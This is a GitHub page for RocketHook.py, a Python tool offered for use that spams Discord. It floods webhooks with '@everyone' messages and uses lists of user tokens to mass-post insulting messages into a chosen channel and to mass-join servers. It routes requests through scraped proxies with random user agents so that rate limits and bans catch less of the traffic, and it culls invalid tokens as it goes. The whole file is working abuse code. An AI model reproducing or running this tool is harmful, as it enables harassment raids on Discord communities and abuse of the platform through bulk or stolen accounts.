-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathRocketHook.py
299 lines (246 loc) · 12.6 KB
/
RocketHook.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
import requests, random, os, json, fake_useragent
from update_check import update, isUpToDate
from colorama import Fore, Style, init
from threading import Thread
init()
class Update():
def __init__(self):
self.Update_files = {
'./README.md': '',
'./Patator.py': '',
'./Config/Config.json': ''
}
def Update(self):
for files, url in self.Update_files.items():
if isUpToDate(files, url) == False:
update(files, url)
class Console():
def __init__(self, title = 'github.com/icdmkg2'):
self.console_title = title
def print_logo(self):
os.system(f'title RocketHook ~ {self.console_title}')
os.system('cls' if os.name == 'nt' else 'clear')
print('''
____ _ _ _ _ _
| __ \ | | | | | | | | | |
| |__) |___ ___| | _____| |_| |__| | ___ ___ | | __
| _ // _ \ / __| |/ / _ \ __| __ |/ _ \ / _ \| |/ /
| | \ \ (_) | (__| < __/ |_| | | | (_) | (_) | <
|_| \_\___/ \___|_|\_\___|\__|_| |_|\___/ \___/|_|\_\
[1] Webhook Spammer.
[2] Token Spammer.
[3] Token Joiner.
'''.replace('icdmkg2', f'{Fore.RED}icdmkg2{Fore.WHITE}').replace('1', f'{Fore.CYAN}1{Fore.WHITE}').replace('2', f'{Fore.CYAN}2{Fore.WHITE}').replace('3', f'{Fore.CYAN}3{Fore.WHITE}'))
def printer(self, badge, text, finish = '.', color = Fore.CYAN, Isinput = False):
if Isinput == True:
return input(f'{Fore.WHITE}[{color}{badge}{Fore.WHITE}] {text}{Fore.WHITE} ~~> ')
else:
print(f'{Fore.WHITE}[{color}{badge}{Fore.WHITE}] {text}{Fore.WHITE}{finish}')
class Proxy():
def __init__(self, proxy_file = './Config/Proxies.txt'):
self.proxy_file = proxy_file
self.proxy_list = []
self.console = Console()
def get_proxy_number(self):
return len(self.proxy_list)
def get_user_agent(self):
from fake_useragent import UserAgent
return UserAgent().random
def load_proxy(self):
Duplicate = 0
with open(self.proxy_file, 'r+') as proxy_files:
for proxy in proxy_files:
proxy = proxy.split('\n')[0]
if proxy not in self.proxy_list:
self.proxy_list.append(proxy)
else:
Duplicate += 1
self.console.printer('*', f'{self.get_proxy_number()} proxies was load from {self.proxy_file} file, {Duplicate} duplicate proxies was removed', color= Fore.MAGENTA)
def scrape_proxy(self):
before_number = self.get_proxy_number()
i = 0
http = 0
http_s = 0
socks4 = 0
socks5 = 0
unknow = 0
with open('./Config/Config.json') as config_file:
config = json.load(config_file)
for Owner, Url in config['ProxyScrapeUrls'].items():
Proxies = requests.get(Url).text.split('\n')
i += 1
for Proxy in Proxies:
Proxy = Proxy.strip()
if Proxy not in self.proxy_list:
Type = Owner.split('-')[1]
if Type == 'All':
self.proxy_list.append(Proxy)
unknow += 1
elif Type == 'Http':
self.proxy_list.append(f'http://{Proxy}')
http += 1
elif Type == 'Https':
self.proxy_list.append(f'https://{Proxy}')
http_s += 1
elif Type == 'Socks4':
self.proxy_list.append(f'socks4://{Proxy}')
socks4 += 1
elif Type == 'Socks5':
self.proxy_list.append(f'socks5://{Proxy}')
socks5 += 1
self.console.printer('*', f'{self.get_proxy_number() - before_number} proxies was scraped from {i} url(s) ({unknow} Unknow | {http} http | {http_s} https | {socks4} socks4 | {socks5} socks5)', color= Fore.MAGENTA)
def get_random_proxy(self):
proxy = random.choice(self.proxy_list)
return proxy, dict({'http' : proxy, 'https' : proxy})
def remove_proxy(self, proxy):
self.proxy_list.remove(proxy)
class Spammer():
def __init__(self, console, proxy_manager, token_file = './Config/Tokens.txt', webhook_file = './Config/Hook.txt'):
self.token_file = token_file
self.hook_file = webhook_file
self.proxy_manager = proxy_manager
self.console = console
self.hook_list = []
self.token_list = []
self.temp_token = []
def load_hook(self):
i = 0
with open(self.hook_file, 'r+') as hook_files:
for hook in hook_files:
hook = hook.split('\n')[0]
if hook not in self.hook_list:
self.hook_list.append(hook)
i += 1
self.console.printer('*', f'{i} hook(s) was load from {self.hook_file} file')
def load_tokens(self):
i = 0
with open('./Config/Tokens.txt', 'r+') as token_file:
for token in token_file:
token = token.split('\n')[0]
if token not in self.token_list:
self.token_list.append(token)
i += 1
self.console.printer('*', f'{i} token(s) was load from {self.token_file} file')
def destroy_temp(self):
self.temp_token.pop()
def spam_webhook(self):
while True:
try:
hook = random.choice(self.hook_list)
raw, proxy = self.proxy_manager.get_random_proxy()
Resp = requests.post(hook, headers= {'content-type': 'application/json', 'user-agent': self.proxy_manager.get_user_agent()}, data= json.dumps({'content': '@everyone LMAO'}), proxies=dict(proxy), timeout= 3500).status_code
if Resp == 204:
self.console.printer('+', f'Hook sent with {raw}', ' !', Fore.GREEN)
elif Resp == 429:
self.console.printer('~', f'Rate limited with {raw}', ' :(', Fore.YELLOW)
else:
self.console.printer('!', f'CloudFare banned with proxy {raw}', ' !', Fore.RED)
except:
pass
def spam_token(self, channel, message):
if message == '':
message = '> ||@everyone|| **Fucked by RocketHook.**'
while True:
try:
token = random.choice(self.token_list)
raw, proxy = self.proxy_manager.get_random_proxy()
Resp = requests.post(f'https://discord.com/api/v8/channels/{channel}/messages', headers= {'authorization': token, 'user-agent': self.proxy_manager.get_user_agent(), 'content-type': 'application/json'}, data= json.dumps({'content': message}), proxies=dict(proxy), timeout= 3500).status_code
if Resp == 200:
self.console.printer('+', f'Message sent with {raw}', ' !', Fore.GREEN)
elif Resp == 429:
self.console.printer('~', f'Rate limited with {raw}', ' :(', Fore.YELLOW)
elif Resp == 403:
self.console.printer('~', f'Token not in server, removing from the list', ' #', Fore.YELLOW)
self.token_list.remove(token)
else:
self.console.printer('!', f'CloudFare banned with proxy {raw}', ' !', Fore.RED)
except:
pass
def join_token(self, invite_code):
while len(self.temp_token) != len(self.token_list):
try:
token = random.choice(self.token_list)
raw, proxy = self.proxy_manager.get_random_proxy()
if token not in self.temp_token:
Resp = requests.post(f'https://discord.com/api/v8/invites/{invite_code}', headers= {'authorization': token.strip(), 'user-agent': self.proxy_manager.get_user_agent(), 'content-type': 'application/json'} , proxies=dict(proxy), timeout= 3500).status_code
if Resp == 200:
self.console.printer('+', f'Server joined with {raw}', ' !', Fore.GREEN)
self.temp_token.append(token)
elif Resp == 429:
self.console.printer('~', f'Rate limited with {raw}', ' :(', Fore.YELLOW)
elif Resp == 401:
self.console.printer('~', f'Invalid token with {raw}', ' :(', Fore.YELLOW)
self.token_list.remove(token)
elif Resp == 403:
self.console.printer('~', f'Invalid token with {raw}', ' :(', Fore.YELLOW)
self.token_list.remove(token)
else:
self.console.printer('!', f'CloudFare banned with proxy {raw}', ' !', Fore.RED)
else:
print('joined')
except:
pass
def start_spammer(self, threads_number, choice, invite_code = None, channel = None, messsage = '> ||@everyone|| **Get rekt with RocketHook (https://github.com/icdmkg2)**'):
ThreadList = []
args_ = None
if choice == 1:
TargetCmd = self.spam_webhook
elif choice == 2:
TargetCmd = self.spam_token
args_ = (channel, messsage,)
elif choice == 3:
TargetCmd = self.join_token
args_ = (invite_code, )
for _ in range(threads_number):
if args_ is None:
T = Thread(target=TargetCmd)
else:
T = Thread(target=TargetCmd, args=(args_))
ThreadList.append(T)
for Threads in ThreadList:
Threads.start()
class Main():
def __init__(self, scrape_proxies, user_token, webhook_threads, spammer_threads, joiner_threads):
self.webhook_threads = webhook_threads
self.spammer_threads = spammer_threads
self.joiner_threads = joiner_threads
self.user_token = user_token
self.console = Console()
self.proxy_manager = Proxy()
self.spammer = Spammer(self.console, self.proxy_manager)
def initialize(self):
self.console.print_logo()
self.proxy_manager.scrape_proxy()
self.proxy_manager.load_proxy()
self.spammer.load_hook()
self.spammer.load_tokens()
def Parser(self):
while True:
Resp = int(self.console.printer('?', 'Choose an option', color= Fore.YELLOW, Isinput= True))
# Spam webhook
if Resp == 1:
self.console.printer('*', f'Starting webhook spammer with {self.webhook_threads} thread(s)', color= Fore.MAGENTA)
self.spammer.start_spammer(self.webhook_threads, Resp)
# Token spammer
elif Resp == 2:
channel_id = self.console.printer('?', f'Target channel ID', color= Fore.YELLOW, Isinput= True)
message = self.console.printer('?', f'Message to sent (can skip)', color= Fore.YELLOW, Isinput= True)
self.console.printer('*', f'Starting channel spammer with {self.spammer_threads} thread(s)', color= Fore.MAGENTA)
self.spammer.start_spammer(self.spammer_threads, Resp, channel= channel_id, messsage= message)
# Token joiner
elif Resp == 3:
discord_invite = self.console.printer('?', f'Discord server invite', color= Fore.YELLOW, Isinput= True)
if '.gg/' in discord_invite:
discord_invite = discord_invite.split('.gg/')[1]
self.console.printer('*', f'Starting joining with discord.gg/{discord_invite} with {self.joiner_threads} thread(s)', color= Fore.MAGENTA)
self.spammer.start_spammer(self.joiner_threads, Resp, invite_code=discord_invite)
def main():
#Installer = Update()
#Installer.Update()
with open('./Config/Config.json', 'r+') as config_file:
config = json.load(config_file)
Tool = Main(config['ScrapeProxies'], config['Token'], config['WebhoockThreads'], config['SpammerThreads'], config['JoinerThreads'])
Tool.initialize()
Tool.Parser()
if __name__ == '__main__':
main()